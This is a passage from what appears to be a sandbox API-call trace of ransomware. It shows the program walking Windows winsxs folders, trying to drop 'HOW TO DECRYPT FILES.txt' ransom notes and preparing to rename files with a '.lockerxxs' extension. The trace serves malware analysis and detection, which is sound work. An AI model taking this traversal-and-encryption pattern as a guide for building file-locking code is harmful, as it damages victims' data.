(lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\how to decrypt files.txt")) returned 0xffffffff [0165.318] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.319] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.319] CloseHandle (hObject=0xffffffff) returned 0 [0165.319] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\", lpString2="aspnet_perf2.ini" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf2.ini") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf2.ini" [0165.319] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf2.ini", pszSpec="*.ems") returned 0 [0165.319] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e5003b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3e5003b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96168a61, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf2.ini", cAlternateFileName="ASPNET~2.INI")) returned 0 [0165.319] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.320] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4", cAlternateFileName="AM7FA6~1.163")) returned 1 [0165.320] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4") returned -1 [0165.320] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4") returned -1 [0165.321] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.321] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4" [0165.321] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.326] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.326] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.326] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.326] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.326] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60155b2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb60155b2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c02d147, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x8886, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InstallPersonalization.sql", cAlternateFileName="INSTAL~1.SQL")) returned 1 [0165.326] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.326] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallPersonalization.sql") returned -1 [0165.326] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallPersonalization.sql") returned -1 [0165.326] lstrcmpiA (lpString1="", lpString2="InstallPersonalization.sql") returned -1 [0165.326] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\*.*") returned="*.*" [0165.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\" [0165.326] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\") returned="" [0165.326] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt" [0165.327] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\how to decrypt files.txt")) returned 0xffffffff [0165.327] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.327] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.327] CloseHandle (hObject=0xffffffff) returned 0 [0165.327] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\", lpString2="InstallPersonalization.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql" [0165.327] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql", pszSpec="*.ems") returned 0 [0165.328] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql" [0165.328] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql" [0165.328] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql." [0165.328] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql.lockerxxs" [0165.328] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\installpersonalization.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.328] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4a3461, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4a3461, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa55b0f4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1d41, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallPersonalization.sql", cAlternateFileName="UNINST~1.SQL")) returned 1 [0165.328] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.328] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UninstallPersonalization.sql") returned -1 [0165.328] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UninstallPersonalization.sql") returned -1 [0165.328] lstrcmpiA (lpString1="", lpString2="UninstallPersonalization.sql") returned -1 [0165.328] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\InstallPersonalization.sql") returned="InstallPersonalization.sql" [0165.328] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\" [0165.328] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\") returned="" [0165.328] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt" [0165.328] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\how to decrypt files.txt")) returned 0xffffffff [0165.329] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.329] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.329] CloseHandle (hObject=0xffffffff) returned 0 [0165.329] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\", lpString2="UninstallPersonalization.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql" [0165.329] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql", pszSpec="*.ems") returned 0 [0165.329] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql" [0165.329] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql" [0165.329] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql." [0165.329] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql.lockerxxs" [0165.330] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\UninstallPersonalization.sql" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_personalization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_d5842bb2904185f4\\uninstallpersonalization.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.330] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4a3461, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe4a3461, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa55b0f4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1d41, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallPersonalization.sql", cAlternateFileName="UNINST~1.SQL")) returned 0 [0165.330] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.331] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f493f, dwReserved1=0x4065a5, cFileName="amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e", cAlternateFileName="AM9C35~1.163")) returned 1 [0165.331] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e") returned -1 [0165.331] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e") returned -1 [0165.331] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.331] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e" [0165.331] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.334] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.334] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.334] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.334] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.334] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb606186c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb606186c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c0532a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InstallProfile.SQL", cAlternateFileName="INSTAL~1.SQL")) returned 1 [0165.334] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.334] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallProfile.SQL") returned -1 [0165.334] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallProfile.SQL") returned -1 [0165.334] lstrcmpiA (lpString1="", lpString2="InstallProfile.SQL") returned -1 [0165.334] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\*.*") returned="*.*" [0165.334] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\" [0165.334] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\") returned="" [0165.334] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt" [0165.335] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\how to decrypt files.txt")) returned 0xffffffff [0165.335] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_pg_persnlization_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_454c741475b5380e\\HOW TO DECRYPT FILES.txt" (normalized: 